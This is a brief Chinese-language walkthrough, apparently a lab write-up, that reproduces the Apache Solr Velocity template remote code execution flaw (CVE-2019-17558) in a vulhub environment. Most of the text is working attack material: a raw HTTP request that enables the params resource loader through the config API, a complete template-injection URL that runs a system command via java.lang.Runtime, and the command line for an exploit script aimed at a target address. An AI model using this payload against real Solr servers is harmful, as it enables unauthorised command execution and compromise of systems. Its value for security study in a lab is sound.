Apache Solr是一个开源的搜索服务器。
我使用的是vulhub靶场 –vulhub靶场搭建教程
启动环境 启动后访问 http://IP:8983 无需权限访问Apache Solr服务默认情况下params.resource.loader.enabled配置未打开,无法使用自定义模板。
通过如下API获取所有的核心: 通过如下请求开启params.resource.loader.enabled,其中API路径包含刚才获取的core名称: GET /solr/demo/config HTTP/1.1 Host: 172.18.9.63:8983 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Content-Length: 259 { "update-queryresponsewriter": { "startup": "lazy", "name": "velocity", "class": "solr.VelocityResponseWriter", "template.base.dir": "", "solr.resource.loader.enabled": "true", "params.resource.loader.enabled": "true" } } 之后,注入Velocity模板即可触发代码执行: http://172.18.9.63:8983/solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=#set($x='')+#set($rt=$x.class.forName('java.lang.Runtime'))+#set($chr=$x.class.forName('java.lang.Character'))+#set($str=$x.class.forName('java.lang.String'))+#set($ex=$rt.getRuntime().exec('id'))+$ex.waitFor()+#set($out=$ex.getInputStream())+#foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))#endEXP下载
python3 cve-2019-17558_cmd.py http://192.168.190.138:8983